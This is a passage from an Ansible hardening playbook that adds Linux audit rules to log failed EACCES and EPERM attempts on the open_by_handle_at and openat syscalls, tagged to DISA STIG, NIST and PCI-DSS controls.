      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open_by_handle_at
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open_by_handle_at in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_open_by_handle_at
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for open_by_handle_at EACCES for 64bit
      platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open_by_handle_at
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open_by_handle_at in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open_by_handle_at
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open_by_handle_at in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_open_by_handle_at
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for open_by_handle_at EPERM for 32bit
      platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open_by_handle_at
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open_by_handle_at in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open_by_handle_at
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open_by_handle_at in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_open_by_handle_at
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for open_by_handle_at EPERM for 64bit
      platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open_by_handle_at
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open_by_handle_at in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open_by_handle_at
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open_by_handle_at in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_open_by_handle_at
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit openat tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_openat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for openat EACCES for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - openat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of openat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - openat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of openat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_openat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for openat EACCES for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - openat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of openat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - openat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of openat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
